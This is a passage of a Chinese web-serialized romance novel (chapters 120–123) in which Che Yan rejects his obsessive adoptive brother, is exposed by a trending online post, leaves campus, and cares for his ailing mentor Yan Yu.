最初贺琚看他的眼神, 就像在看一场有趣的闹剧,带着高高在上的玩味,仿佛他不过是个供人取乐的跳梁小丑。 贺衍眼底浮现点点嘲意, 心里涌起几分荒谬。 贺琚这样的人,生来要风得风, 要雨得雨,怕是从来没被人拒绝过。所以, 当遇到一个不肯顺他心意的人, 反倒激起了他那点可笑的征服欲。 得不到的永远在骚动, 人类的劣根性罢了。 可惜, 他对成为任人争夺的玩具不感兴趣。 昏暗的小巷,潮闷的空气,黏热的汗水顺着前额滑落。 贺衍抬手抹了把脸,指腹蹭过眉骨时带下一片湿凉。他神色已然平静了下来, 眼底更是没有一丝波澜。 贺衍正欲转身离开,但却迈不动脚步。 他垂下了眼。 贺琚的手死死攥住了他的裤脚,昏暗的光线下,依旧能看见他的手背的青筋用力的凸起,连骨节都在泛白。 巷子外传来脚步声和说笑声,由远及近。 “哥哥如果现在离开的话,”贺琚顿了下,“那我就要喊人进来了?” 贺琚语气轻松地说出了这句威胁,但他的眼神依旧温柔令人毛骨悚然。 贺衍简直要被他的厚颜无耻气笑:“贺琚,你可真是个彻头彻尾的疯子!” “是啊。”贺琚答得干脆,他的眼角弯弯,“哥哥不知道吗,从你离开我的那天起,我就疯了。” “我已经做了我能为哥哥做的一切,上次明明说好了要奖励我的?” 贺琚仰起脸,喉结滚动,嗓音里带着几分委屈和哭腔:“可是哥哥,你为什么要言而无信呢?难道就因为我做错了一件事,就要完全否决我的所有吗?” 他的眼睛此刻湿漉漉的,脸上还沾着血迹,整个人像是件被摔裂的玉器,裂痕里都渗着惊心动魄的美。 但贺衍眉梢里却全是寒意,半分没有动容。他的指尖在身侧微微收紧,太阳穴突突地跳动着。 巷子外传来一阵杂乱的脚步声,几个年轻人嬉笑着走过,手机还外放的欢快的摇滚乐。 “快点!再晚烧烤摊该收摊了!” “急什么,老板跟我熟得很……” 欢快的谈笑声像隔着一层毛玻璃,愈发衬得巷内死寂。 “人已经走了。”贺衍看着他说了一句。 空气安静了一瞬。 贺琚松开了贺衍的裤脚,撑着墙壁艰难地站了起来,靠在了墙上。 贺衍面无表情地看着他。 昏黄的路灯在他轮廓上描了层脆弱的光。 贺琚的喉结艰难地滚动着,冷汗混着血水从下颌滴落。 “哥哥,我可以改的。” 贺衍恍若未闻,他垂下眼睛不再看他,只是冷声说道:“你之前帮过的一个粉丝,她想要亲自感谢你。” 贺琚的表情很明显的怔了一下,下意识地出声:“哥哥是在请求我吗?” “你的答应与否跟我无关。”贺衍终于看向了他,“贺琚,你如果真的了解我,就该明白,我们之间没有任何可能。” 他的眼神冷静得近乎残忍,连一丝犹豫都没有,说完这句话后就转身离开了。 贺琚盯着那道逐渐远去的背影,抵在墙面上,忽得低低地笑了起来,喉间溢出的声音沙哑又疯癫。 “可是哥哥,”他喃喃着,眼底翻涌着病态的执念,“你逃不掉的。” 贺衍的背影早已消失在了巷口,可贺琚却像是仍能看见他一样,一直望着那个方向。 他缓缓抬手擦掉了脸上的血痕,眼神痴迷而阴鸷,带着某种扭曲的愉悦,丝毫不见刚才的可怜模样。 星河湾宿舍内,黄弘资坐下后又站起来,在宿舍内不停地来回踱步,拖鞋在地板上摩擦出焦躁的声响。 他们两个已经出去快一个小时了,黄弘资脑子里还在一直想着这件事。 他的脑子胀得发疼,今晚发生的每一帧画面都在颅内循环播放,连半点心思都分不给别的东西。 所以,这俩人不会真是乱—— 黄弘资搓了搓身上的鸡皮疙瘩,忽然长叹了口气,又重重地坐回了椅子上。 突然,大门从外面被推开。 他立刻从椅子上弹了起来,目光瞬间移到了那里,但只有贺衍一个人回来了。 黄弘资瞳孔骤缩,他的衣服上,那是血?!! “你们打架了?!”黄弘资脱口而出,他观察贺衍的表情,但很奇怪,贺衍的神色很平静,和平常没太多区别。 而且身上似乎也没有受伤的痕迹。 “那个,”黄弘资咽了咽唾沫,硬着头皮开口,“孟凝心的事……” 贺衍眨了下眼,他走到书桌前,从抽屉里抽出一张便签纸,龙飞凤舞地写下了一串号码。 “拿着。”贺衍将便签拍在桌上,声音沙哑,“我跟他提过这事了,但我不清楚他会不会答应。你自己联系他吧。” 黄弘资愣愣地拿起便签,上面是一串陌生的电话号码。 卧槽,就这么把行水联系方式给自己了,真的没问题吗?!! “谢谢!真的太谢谢了!”黄弘资激动得语无伦次,“孟凝心要是知道了一定会高兴疯的!她、她其实一直……” 贺衍抬手打断了他的滔滔不绝,眉头微蹙:“不用跟我说这些。” 黄弘资立刻做了个拉上嘴巴的动作,用力点头。 他低头看着那串数字,已经在脑海里构思要怎么跟孟凝心说这个天大的好消息。 突然,他的目光再次扫到了贺衍短袖上的零星的血迹,犹豫了一下还是问道:“那个,这些……你没事吧?” 贺衍的动作顿了一下:“不是我的血。” 黄弘资识相地没再追问。 几天后的傍晚,黄弘资兴冲冲地推开宿舍门,声音里掩不住的雀跃:“贺衍!孟凝心已经感谢过行水了,不过他们没见面,是视频通话。” 贺衍头也没抬,只是淡淡地“嗯”了一声。 黄弘资已经知道贺琚和贺衍没有血缘关系了,他舔了舔发干的嘴唇,犹豫着开口:“那个,贺衍,还有件事,行水让我转达……” “我说过了,”贺衍抬起眼看向他,“不要和我提他。” 宿舍里的空气瞬间凝固。 黄弘资张了张嘴,最终只是默默退到自己的床位。 石教授已经还待在奈杜州,已经联合奈杜州州立大学开展了课题研究,裴屷也正式被选入了课题组当中。 但研究正在关键阶段,因此直到贺衍最后一门考试的那天,裴屷还没有回来。 考试在当天上午八点半开始,贺衍七点多就离开了宿舍,黄弘资的考试在昨天已经全部结束,通宵玩了大半夜,现在睡的正沉。 吃过早饭,贺衍走向考场。 一路上,无数道视线都黏在他的身上,见他经过便立刻压低声音,却又在他离开后频频回头张望。 贺衍抬眸,微微蹙眉,他隐约听见“热搜”之类的字眼,但考试在即,他并没有特别在意。 十点半,考试结束。贺衍交完卷走出教学楼,这时候已经快要十一点了。 贺衍走向餐厅,毒辣的太阳光炙烤着大地,但和早上的情况一样,路上的人依旧在看自己。 贺衍眯起眼睛,余光瞥见一个戴着棕色帽子的男生正鬼鬼祟祟地举着手机。 他朝那个人走了过去,偷拍的男生吓得立刻逃窜,但还是被贺衍逮住了。 “你在干什么?”贺衍一把扣住对方手腕。 男生吓得一个激灵,他挣扎着想跑,却被贺衍牢牢按住了肩膀:“跑什么?” “你要不追我的话我跑怎么会跑?”男生梗着脖子反驳,眼神却闪烁不定。 贺衍单手扣住男生的手腕,稍一用力就将他整个人按在了墙上。 男生疼得倒抽一口冷气,他刚想破口大骂,但贺衍的手突然收紧,他顿时痛得脸色发白,所有脏话都卡在了喉咙里。 我靠,怎么没人说过贺衍力气这么大啊。 他龇牙咧嘴地求饶:“疼疼疼……松手!我错了!” 贺衍面无表情地松开了对他的钳制,另一只手轻松地夺过这人的手机。 男生揉着发红的手腕,却忍不住偷偷抬眼打量眼前的人。 但这家伙,长得也太TM帅了吧。 不愧是绯闻里被大明星爱慕的男主角。 他以前只是从别人嘴里听过贺衍的名字,毕竟自从贺衍入学以来,他这个名字就经常在学生间流传,但奇怪的是,校园论坛里关于他的照片要么模糊不清,要么只有背影。 说实话,这还是他第一次见到贺衍真人。 男生咽了一口唾沫,有些紧张但又克制不住地偷看着贺衍。 贺衍点开了他的相册,眉梢拧了起来,他往下翻了几下,这个人不只偷拍了自己一张照片,从自己上午离开宿舍开始到进入考场,他就一直在偷窥自己。 贺衍的额头暴起青筋,他彻底删除这些照片后,视线落在了对面。 “偷拍我的理由?”贺衍的声音很冷,带着戾气。 男生被吓了一跳,瞬间回过神来,他结结巴巴地回答:“因为,凌、凌晨的热搜,行水——” 贺衍怔了一下。【你现在阅读的是 】 120-130 第121章 第 121 章 “人都是会变的。”…… 贺衍手背上的青筋暴起, 手机壳被握的几乎要与手机脱离,发出了不堪重负的嘎吱声。 男生咽了一口唾沫,颤颤巍巍着伸手, 指了指手机:“那贺, 贺衍,能把手机——” 贺衍垂了下眼, 把手机扔了回去,男生手忙脚乱地接住,敢怒不敢言。 “对不起对不起,我不该偷拍你的。”他连鞠了好几个躬,“我, 我能走了吗?” “滚吧。” 男生瞬间窜了出去, 几步就消失在了视野中。 第一场考试结束后, 校园里到处都是学生,餐厅里更甚。 日光毒辣,空气黏热, 贺衍烦躁地蹙眉,他避开人群, 换了一条路走回宿舍。 手机一直静音,贺衍拿出手机之后, 才发现黄弘资的电话。 电话刚接通, 黄弘资焦急的声音就从听筒里传出:“卧槽, 我刚睡醒, 一点开手机就看到微博热搜了,贺衍,你被曝出来了!就是关于行水那件事,虽然网上现在还没有你的照片, 但是你的个人信息现在全部曝光了。” 贺衍下颌线紧绷着:“谢谢,我知道了。” #行水喜欢的人# 从凌晨开始,这条热搜就开始霸榜,相关词条更是在热搜榜前几挂着。 起初是一个狗仔博主在昨晚十点多发了一条长博,将当初被封禁的关于行水为谁退圈的讨论帖,整理成图片发了出来。 包括当初那张贺衍的模糊照片,上次虽然有人指出了照片背景可能是圣洛莱索,但因为圣洛莱索的特殊性,倒也没人敢真的去扒这个学院。 但这次不一样。 发博的博主直接将照片中青年的一些相关信息给了出来。 [铜海大学,大一,法学院] 最开始行水的粉丝和一些路人还在骂这个博主曝光素人信息,但随着时间的发酵,越来越多的网友涌了进来。 不知是什么原因,这条博文没有像上次那样热度起来之后被封禁,反而随着浏览量持续上升,凌晨挂上热搜的尾巴后,就一路飙升到了热搜榜第一。 很快,就有人根据这个信息,锁定了贺衍。 [贺衍和那个贺氏集团的掌权人有什么关系吗?] [能有什么关系?] [我是铜大学生,据说在贺氏集团宣布新任掌权人之前,hy请了好长时间的假] [不可能吧,那他去铜海上什么大学,联邦大学不是随便上嘛] [行水怎么和他认识的,话说行水是个艺名吧,那个衍,啧] [为什么到现在了,都没人发他的照片] [我也发现了] …… [你们难道都不知道,当初他的前未婚夫可是那位的儿子] [那位的儿子,woc,不会吧] [他到底是什么身份啊] 淮新,林阁。 这是一座仅对政府要员开放的顶级私人会所,坐落在淮新市区内。 盛夏的烈日被层层叠叠的树冠遮挡,雾化系统无声的运作着,建筑轮廓隐在薄雾里,透着怡人的凉意。 岑靳抬腕看了眼时间,阳光被眉骨遮挡,灰蓝色的瞳孔依旧晦暗。 他将车钥匙抛给候在门外的侍者。对方稳稳接住后,恭敬地点头。 “岑先生,请跟我来。”一位身着简式襦裙的女侍静立门侧。 岑靳未应声,只是略一颔首。 女侍欠身,侧身引路,她的脚步很轻,几乎没有半点声音,连呼吸都轻得几不可闻。 包厢内的光线幽微,落地窗外是一片沉静的湖泊。 湖岸铺着从奎尔丹尼州运来的青石板,缝隙间还点缀着几株名贵的花草。 更远处,是精心修剪过的黑松,枝干虬劲,每一棵都价值连城。 风景如画,但岑靳却没有半点欣赏的意思,他的眉梢压着一丝隐隐的躁意。 自从杭凌一失忆后,就很少离开家中。 但上周他才得知,杭凌一如今已经在经济部任职,成为其下属机构经济发展局的副局长。 即便他的父亲是杭靖云,但经济部是罗勋章的权力腹地,里面核心官员的人事任免,都要经过他的首肯。 不出意外,罗勋章下半年就要出任联邦副总统。 杭靖云的手伸不到经济部,除非有罗勋章的首肯。 岑靳唇角扯了扯,眼底却不见笑意。他在得知这个消息后,便约杭凌一出来聚一聚。但上周的事,杭凌一拖到昨天才松口。 杭凌一空降经济发展局副局长,这是他自己下的一步棋,还是杭靖云和罗勋章利益互换的结果。 岑靳点了一根烟,他微微眯着眼,也不知道杭凌一恢复记忆了没有。 贺衍要查罗勋章,必定是因为杭凌一的车祸,但现在杭凌一却成了罗勋章派系的一员。 他不在意杭凌一要干什么,但杭凌一若是没恢复记忆,他不会对贺衍留情面。 岑靳指间的烟燃了半截,灰烬无声地坠在,烟灰无声坠落。 他盯着手机屏幕里贺衍的照片,在触及那张脸的瞬间,冷鸷的眸光不自觉地柔了下来。 岑靳的指腹轻轻摩挲过屏幕,他忽然关了手机。 包厢的门被无声推开,杭凌一迈步而入,银色的发丝在灯光下泛着冷冽的光泽,淡金色的眼眸微眯,眉梢不着痕迹地皱了一下。 岑靳坐在暗处,指尖的烟燃着猩红的光,他连眼皮都没抬一下:“你倒是准时。” 杭凌一耸了耸肩,在他对面落座:“我又没迟到。” 岑靳轻嗤一声:“听说你最近很忙。” “是啊,的确很忙。”杭凌一唇角微勾,漫不经心地敲了敲桌面,淡金色的瞳孔直直地看向岑靳,“你约我什么事,长话短说。” “没什么,叙叙旧而已。” “叙旧?岑靳,没想到去了几年军队,你性格变化会这么大。” 杭凌一缓缓抬眼:“我可不记得,你是会叙旧的人。” 空气中的压迫感骤然攀升,连温度都骤然降低了几度。 岑靳神色一滞,杭凌一似乎依旧没有恢复记忆,但他又无法肯定。 “人都是会变的。”岑靳缓缓吐出一口烟,“还没恭喜你,经济发展局可不好进。” 杭凌一眼底划过一抹了然,无事不登三宝殿,岑靳果然是为了这件事。 两人聊了一会儿。 但这场谈话显然没能得到岑靳预期的结果。 “你先走吧,我再待会儿。”杭凌一淡金色的眼眸望着窗外,漫不经心地摩挲着杯沿。 包厢内只剩下了杭凌一。 他举起酒盅送到唇边,手机屏幕的冷光映着他俊美的轮廓,银发被镀上了一层冷辉。 点开热搜页面,贺衍那张只有模糊侧脸的照片出现在了视野内。 淡金色的眼眸微微眯了起来。 岑靳离开林阁,才发现高振一个小时前发来的消息。 #行水贺衍#相关的词条依旧挂在热搜上,不过排名依旧没有那么靠前了。 岑靳灰蓝色的瞳孔周围凝出一层寒霜,翻滚着暴戾的暗色。 他拨通电话,命令道:“高振,找人把这些消息撤下去。” 铜海大学,星河湾宿舍。 黄弘资看着网上的言论,忍不住咂舌,这些人怎么越猜越离谱了。 除了行水可能真的喜欢贺衍之外,其他的没有一个对的好吧。 黄弘资撇了撇嘴,微讯忽然弹出来一条消息,来自他的表哥黄星俊。 [你看到热搜了没?] 黄弘资正准备回消息,对面就把电话打过来了。 “老弟啊,我当初就跟你说贺衍绝对不是个普通人,果然还真是这样。贺衍居然是贺氏集团的掌权人,那可是贺氏集团啊哈哈哈,以后咱们不用愁着找工作了哈哈哈!” 黄弘资眨眨眼睛,越听越不对劲:“表哥,你做什么白日梦呢。贺衍怎么就成什么掌权人了。他跟我们一样,不都是略阿洲那种小地方——” 黄弘资的话戛然而止,他的脑海中忽然闪过一个画面,几个月前,那个自称是贺衍母亲的女人,她的穿着打扮和气质,的确不是普通人。 所以,贺衍真的是贺氏集团的掌权人吗? 他喉结滚动了一下,后背沁出一层细密的汗。 黄弘资刚挂断电话,便听到宿舍的大门被打开了。 黄弘资的指尖无意识地摩挲着手机边缘,喉结上下滚动了几次,终于出声道:“贺衍,你回来了啊。” 贺衍点了点头,眼底凝着一层化不开的阴翳。 他的心情的确不好,但不单单是因为这次的热搜。 下周就是奶奶的祭日了。 距离那个时候,居然已经一年了吗。 见黄弘资还是刚才那个姿势一动不动,贺衍抬眸:“怎么了吗?” 宿舍的灯光将贺衍的身影投到地上,恰好隔开了两人。 “没……没事。”黄弘资局促地擦了擦手心,不自觉地往后退了半步。 他之前一直把贺衍当作自己的老乡看,但地板上的那道影子像是突然具象化的阶级鸿沟一样。 他现在连和贺衍正常的交流都感觉惴惴不安,真是羡慕表哥那种心态。 “贺衍,网上说的那些——” 黄弘资咽了口唾沫,鞋尖不自觉地在地板上蹭了蹭:“都是真的吗?” 贺衍“嗯”了一声,扯出一个漫不经心地笑:“大概吧,不过有很多也是瞎编的。” 黄弘资看到贺衍和往常一样的态度,紧绷的肩膀不自觉放松下来:“那你现在要怎么办?” 黄弘资啐了一口:“也不知道是哪个龟孙子搞的这事。” 他还没说完表情忽然变得狰狞,火急火燎地捂着肚子跑进了卫生间:“一会儿再说,我肚子疼。” 门外脚步声开始杂乱,隐约传来压低嗓音的议论声。 贺衍侧眸看向门外,长睫在眼下投出一片阴翳,他知道是谁干出来的这件事。 除了贺琚,还能有谁呢。 桌面上的手机亮了起来,是裴屷的消息:[贺衍,你看到网上的热搜了吗?我已经让人尽快撤下去了。我马上到机场,晚上才能赶回去。] 第122章 第 122 章 鄢老师?!! 贺衍正准备回复, 忽然听到阳台传来“咔嗒”一声轻响,窗户被人从外面悄悄拉开了一条小缝。 贺衍眼神骤然锐利,他立刻起身把窗户锁紧, 拉上了窗帘。 宿舍大门那里传来敲门声, 而且呈现着越来越响的趋势。 黄弘资刚上完厕所出来,听到敲门声, 下意识就拧开了门。 门外黑压压的人群让他瞬间僵住。 同层的、楼上的,见过的、没见过的学生都挤在走廊里,有人举着手机,有人踮着脚在往里面张望。 “卧槽!”黄弘资猛地摔上门,立刻反锁, 他转头看向阳台那里的贺衍, 声音都变了调:“贺衍, 这全是冲你来的吧?” 贺衍嘴唇抿成一条直线,他沉声道:“抱歉,给你添麻烦了。” 黄弘资连忙摆了摆手:“诶诶, 我不是这个意思。” “贺衍,你不是都考完了, 那赶紧离开学校吧。反正等下周成绩出来后,才会知道去哪里实习, 到时候再办什么手续的话也不耽误。你先收拾行李, 一会儿等你走的时候, 我把这些人引开。” 贺衍愣住了, 他对着黄弘资道了声谢。 他走回床位,给裴屷回了消息,随后便开始收拾起了行李。 奈杜州首府机场。 裴屷站在航站楼巨大的落地窗前,手机屏幕还亮着那条简短回复:[多谢, 但我下午应该已经离校了。] 玻璃倒映出他紧绷的下颌线,身后是拖着行李箱匆匆走过的旅客,广播里播报着他即将乘坐的航班的登机提示。 他是一个小时前才知道这件事的,当时课题组正在开会,会议休息的间隙,旁边的人在讨论贺衍。 裴屷握着手机的手指微微发白,他揉了揉有些干涩眼睛,沉默地拨通了某个号码。 “我记得,我之前很清楚地吩咐过,不许贺衍的名字出现在任何社交平台上。” 他这句话说得极慢,尾音微微下沉,带着上位者特有的威压,即使隔着听筒也能感受到那股迫人的气势。 管家的神经瞬间绷紧,他叹了口气:“少爷,这次是先生亲自下的命令,他不允许我们处理这件事。” 电话那头的管家是裴屷的专属管家。他清楚裴屷的脾性,也知道裴屷这次是真的动了怒。 管家顿了顿,语气变得谨慎:“少爷,先生说了,如果您不想回来,他并不强迫您回淮新。” 裴屷抬眼看向登机口闪烁的航班信息,眸色深沉,贺衍如果离开铜海了,他会去哪里? “少爷?”管家的声音将他拉回现实。 裴屷挂断了电话。 铜海大学,星河湾宿舍区。 空调发出的沉闷嗡鸣声将夏日的热浪和噪声隔绝在了外面。 他要回家。 贺衍目光落在差不多收拾妥当的行李箱上,额前的碎发遮住了他的双眼,他喉结轻轻滚动,深吸一口气,将最后一件衬衫叠进行李箱。 他也该回家了。 宿舍门外嘈杂的声音逐渐变小,直到消失。 黄弘资海以为是自己的错觉,他小心翼翼地走到大门那里,把耳朵贴到门上。 但紧接着,大门又被敲响了。 黄弘资被吓得往后退了好几步,烦躁地“啧”了一声,大声嚷嚷着:“别敲了!不会给你们开门的,没事堵别人的门,烦不烦啊。” “是黄弘资同学吗?”低沉醇厚的男声从门外忽然传来。 黄弘资皱了下眉,总感觉有点熟悉,但是又想不起来是谁。 但紧接着,门外的男人又出声了。 “我是鄢忬,外面现在只有我一个人,可以开门吗?” 鄢,鄢老师?!! 黄弘资睁大眼睛,他走到贺衍身边,轻声问道:“兄弟,怎么办,开门不?” 贺衍将行李箱的拉链拉上,金属的凉意透过指尖传来,他的动作顿了顿。 他扯了下嘴角,微微垂眸:“这样啊,也不奇怪。” 黄弘资眨了眨眼,他摸了摸头,眼底浮现几缕疑惑,嗯?不奇怪吗? 贺衍起身走到宿舍门前,打开了门。 外面的确只有鄢忬,走廊里的那些人已经被清走了。 黄弘资站在贺衍旁边,看到鄢忬的一瞬间立刻立正:“鄢老师好!” “好久不见,黄同学。” 鄢忬眸色温柔,墨绿色的眼眸微微垂落,静静地落在了贺衍身上。 “可以进去吗?” 贺衍侧身,让他进来了。 “行李已经收拾好了吗?” 贺衍点了点头,随意回道:“差不多了。” 鄢忬继续道:“我的车在外面停着,保安已经把外面的人也清走了。一会儿我把你送出去,你要回罗河县吗?” “先回津兴,奶奶的东西还在那里。” 鄢忬心底无声叹了口气,温声道:“我在外面等你,正好我也要回津兴,一会儿送你回去吧。” 正好?贺衍“嗯”了一声,没拒绝。现在这种情况,他坐公共交通也不太可能。 鄢忬走出宿舍,轻轻带上了门。 黄弘资这时候才回过神来。 贺衍和鄢老师的关系什么时候这么熟了? 黄弘资走到贺衍旁边,轻咳了一声:“你之前和鄢老师联系了吗?他怎么会突然来接你。” 贺衍摇头。 黄弘资瞳孔骤缩,之前没联系,那他们的交谈这么自然,就像是已经完全预料到对方会有什么反应一样。 这也太有默契了吧。 贺衍将电脑包放到行李箱上。 “黄弘资,谢谢你。” 贺衍的感谢很郑重,让黄弘资有些不知所措。他摆了摆手,笑着说道:“这有什么,都是朋友。” 朋友。 贺衍眉梢扬起,声音中含着几分笑意:“那,下学期见。” 鄢忬依旧开着他那辆普通的黑车。 车停在了宿舍大楼的一侧,这里是一处视线死角,宿舍楼的学生看不到这里。 贺衍敲了敲车窗,鄢忬打开了后备厢的门。 贺衍将行李放了进去,他走到车旁,指尖还未触到车后座的门把手。 鄢忬的声音从车内传来:“坐前面吧。关于暑期实习的事,我还有事想要和你聊聊。” 贺衍的睫毛颤了颤,阳光刺目,他微眯了下眼,走到了前面坐进去。 “我上周已经再次确认过了,总统府办公室的实习名单有你的名字。” 柔和又有厚度的声音从一侧传来,贺衍手指无意识地摩挲着衣角,他知道鄢忬的话还没有说完。 鄢忬的声音不大,但在密闭的轿厢内却极其明显。 “阿衍,你还没有告诉我,为什么要去这个地方?” 空气仿佛不再流通,贺衍垂着眼睛,他的神色冷冽,摆明了一副不想交流的模样。 鄢忬的尾音低沉:“阿衍,你如果只是去实习,这再好不过,但很明显不是。” 贺衍终于抬眼,他直直地看向鄢忬:“但我想去。” 他知道鄢忬在担心自己,但活着也好,死了也罢,横竖都一样。 贺衍眉心拧了一下:“叔叔,别拦我。” 鄢忬侧眸,幽深的绿眸紧盯着贺衍,他缓缓蹙眉,又在触及贺衍紧绷闭的神色时骤然松开,眼底也带上了几分无奈的纵容。 “杨阿姨也不会希望你这样去冒险的。” 贺衍的指尖下意识地抽搐了下,他抿紧了唇瓣:“我知道,但——” 鄢忬直言道:“我也会担心你。” “阿衍。”他唤得极轻,却让贺衍无端绷紧了脊背。 鄢忬视线缓缓描摹他的轮廓:“我不在乎你想干什么,我也不会拦你。但至少遇到问题的时候,别一个人撑着,别把我推开,可以吗?” 贺衍的呼吸明显乱了节奏,他张了张嘴,最终只是胡乱点了点头。 …… “下周杨阿姨的祭日,我也会回去的。” “好。” 奶奶去世那天,是鄢忬一直在陪着她,他没有资格替奶奶拒绝。 回津兴的路上,热搜便已经消失了。 贺衍这两个字和相关的缩写再次成了违禁词。但至少在短时间内,这个名字不会被互联网遗忘。 略阿州,罗河县。 贺振刚和往常一样去上班,他不怎么关注网络,也不看电视剧,自然没见过也不认识行水,也不知道这个热搜。 工厂有其他人见到贺振刚,便调侃般把这事说了出来。 贺振刚一脸迷茫。 但好在他的嘴一向很严,也从来没有跟工友透露过贺衍的具体信息。 虽然一眼就认出了这是自己儿子,但那张照片模糊到根本就看不清脸。 贺振刚干脆直说这是重名。 本来这些人也只是打趣,看贺振刚这种无趣的态度,自然而然地也不再提了。 毕竟,这种事离他们太远了,不过是茶余饭后的消闲罢了。 贺衍回到津兴的时候,已经是傍晚了,他在福宁小区睡了一晚。第二天,他便乘坐最早的航班离开了姆扎州。 贺衍回家的这几天,没有住到新房,而是一直和贺振刚住在一起。 距离杨梅霞的祭日还有两天。 那天晚上,贺衍接到了鄢忬的电话。 他那时正独自坐在灯下折纸,房间里很静,只有纸张轻轻翻折的细微声响。 桌上还散落着几张未折完的金纸,在台灯下泛着黯淡的光。 另一侧的纸箱里,堆叠着已经折好的金色元宝,整齐地码在一起。 贺衍表情平静,他折得很慢,每一个棱角都压得极平。 “我明天晚上会到罗河。”电话那头的声音有些低哑。 贺衍手中的动作没停:“嗯,我知道了。” “那明晚,我能住你那里吗?” 贺衍沉默了一瞬,随后开口:“我和我爸住在一起。你可以去阳光小区住,等你来了,过来找我,我把钥匙给你。” 鄢忬音色温柔,眉梢的倦意被抚平:“我到的时间可能有些晚,或许到十二点了。” “嗯,你来吧,我会等你。” 第123章 第 123 章 你们根本不可能!…… 电话挂断了。 贺衍将最后一张金纸折完放到了箱子内。 纸箱被他搬到了房间一侧, 跟其他扫墓要用的东西放到了一起。 贺衍走到了窗前,额头抵上了玻璃。窗外是县城的夜色,没有霓虹的侵扰, 只有零星几盏路灯在远处亮着。 月亮悬得很高, 亮得几乎刺眼。 铜海,俞杉风投。 落地窗外暮色沉降, 城市的灯火渐次亮起,在玻璃上投下流动的光影。 宽大的黑檀木办公桌泛着哑光,桌面除了一台轻薄的笔记本和一叠待批阅的文件外,还摆着一支钢笔和一杯半满的威士忌。 琥珀色的酒液里,冰球正在缓慢融化, 杯壁凝结着细密的水珠。 鄢忬的衬衫袖口挽至小臂, 露出线条分明的手腕。 他微微蹙眉, 指节抵着太阳穴,目光扫过屏幕上滚动的数据。 鄢忬轻咳了几声,眼中带着几分倦意, 眼睑低垂,睫毛在眼下投下一片疲惫的阴影, 眼底些许红丝浮现。 他拿起酒杯抿了一口,脖颈喉结线条随着吞咽酒液的动作滚动。 俞孟辉推门而入的时候, 鄢忬已经挂断了电话。 鄢忬抬手扯松了领带, 修长的手指在深色布料间显得苍白, 指节微微泛着病态的青色 他的呼吸很轻, 带着一丝不稳,仿佛连维持这样简单的动作都耗费了他不少力气。 鄢忬抬眸,神色平淡,语调不缓不急:“俞伯, 有事吗?” 俞孟辉大步走到鄢忬面前,用力拍了拍桌面。 “鄢忬,好歹我也是你的长辈。”他的神色中满是愠怒,语气里也不见平日的恭敬,“你是真的一点不听劝对吧。” 俞孟辉深吸了一口气,鬓角的白发随着他动作晃动,看起来莫名苍老了许多。 “公司的事我早就交代过不用你操心,现在最重要的是你的身体。” 俞孟辉声音陡然严厉起来:“小齐都跟我说了,瑟维林缓释剂对身体的损害很大,鄢忬,听俞伯一句劝,你还年轻,何必拿自己的身体开玩笑?” 他恨铁不成钢地看着鄢忬,神色里满是焦灼:“那个小孩二十一都不到,比你小十二岁,你们根本不可能!你难道真要学你母亲,痴情到最后换来了一无所有!!!” “别再吃这个药了,这已经不是你第一次进医院了。鄢忬,以你的条件,要什么样的人没有?如果你喜欢干净的学生,也是一抓一大把,没必要为了那个贺衍——” 俞孟辉看到鄢忬忽然沉下去的脸色,话头忽然刹住。 鄢忬低笑了一声,笑声里带着几分自嘲的意味。 “俞伯,我不是母亲。” 俞孟辉的怒容僵在脸上。 鄢忬神色平静:“这药唯一的作用不过是让我保持理智罢了,我不想变成和鄢锡儒那种只会用下半身思考的畜生。” 他顿了顿,喉结滚动了下,眼底带上了笑意:“贺衍,他只是恰好,出现在了恰好的时候。” 鄢忬半掀着眼皮,脸上还带着些许病容,但神色中依旧带着不容置疑的压迫。 “俞伯,你不用再劝我。如果你能忘了母亲,也不会现在还依旧是一个人。”鄢忬捏了捏太阳穴,“你是这样,母亲是这样,我自然也是这样。” 鄢忬笑了笑,不再多言。 俞孟辉却直接愣在了那里。 第二天,深夜,贺振刚已经熟睡,贺衍打开了房门。 楼梯处传来轻轻的脚步声,鄢忬站直了些许,掩下了神色中的倦意。 夏夜依旧闷热,即便入了深夜,稍微散了点热气,但依旧带着黏稠的暑气。 这个时间段,小区的灯基本上都灭了,蝉鸣也早已歇了,只剩下不知名的虫子在草丛里发出细碎的声响。 鄢忬就站门栋外,路灯将他的身影拉得很长,斑驳昏暗的灯光在他轮廓分明的脸上投下深浅不一的阴影。 贺衍快步向他走去,轻声开口:“这么晚了,我还想着你今晚可能不会过来了。” 鄢忬浅笑,他并没有接话,只是问道:“你们明天准备几点去扫墓。” “天亮之后,可能六七点。我爸说他想早点去,后面天就太热了,而且他明天还要工作。” “好,我知道了。” 贺衍把钥匙递给了鄢忬:“阳光小区这地方你应该知道吧,就在——” 话音未落,鄢忬的脚步踉跄了下,身形忽然晃了晃,像是被抽走了所有力气,整个人倒向一侧。 贺衍瞳孔骤缩,几乎是本能地伸手拽住了他。 鄢忬的额头抵在贺衍的肩膀上,灼热的温度透过单薄的衬衫布料传来,温度烫得惊人。 贺衍的神色变得慌乱:“鄢忬,鄢忬,叔叔,喂——” 鄢忬的呼吸急促而微弱,眉头紧蹙,显然已经失去了意识。 深夜的街道空无一人。 贺衍环顾四周,别说出租车了,连个路过的行人都没有。 贺衍咬了咬牙,将鄢忬的手臂搭在自己肩上,弯腰一托,直接将人背了起来。 附近的诊所已经关了门,最近的医院在一公里以外。 汗水顺着鬓角滑落,浸湿了衣领。 贺衍的脚步越来越沉,直到远处终于出现医院的红色十字标志,他长长地呼出一口气,加快脚步冲了进去。 医生简单检查后,诊断鄢忬是因为高烧才导致的短暂昏迷,给他挂上退烧的点滴便离开了。 贺衍拧紧的眉心微微松开,后背的衬衫早已被汗水浸透了。 病床上的鄢忬依旧昏沉着,唇色有些苍白。 点滴瓶里的液体缓慢滴落,在寂静的病房里发出轻微的声响。 贺衍望着他,恍惚间竟与记忆中的杨梅霞重叠,他的手指不自觉地收拢,将鄢忬微凉的手紧紧攥在了掌心。 这瓶点滴输完之后,护士将针管收走了。 鄢忬依旧沉睡着,但温度已经降下去了。 不知道什么时候,贺衍迷迷糊糊地伏在床边睡着了,凌乱的黑发遮住了半张脸。 鄢忬醒来的时候,窗外仍是浓稠的黑暗。 他蹙了下眉,视线触及床边的人时,忽然愣住了,眼底旋即浮现出点点笑意,温柔而缠眷。 鄢忬的手指微微动了动,却立刻惊醒了贺衍。 “嗯?”贺衍迷迷糊糊地抬头,眼里还蒙着一层水雾,额前翘起几根不听话的发丝。 鄢忬不自觉地勾起嘴角。 “睡吧,”他的声音沙哑却温柔,“一会儿我叫你。” 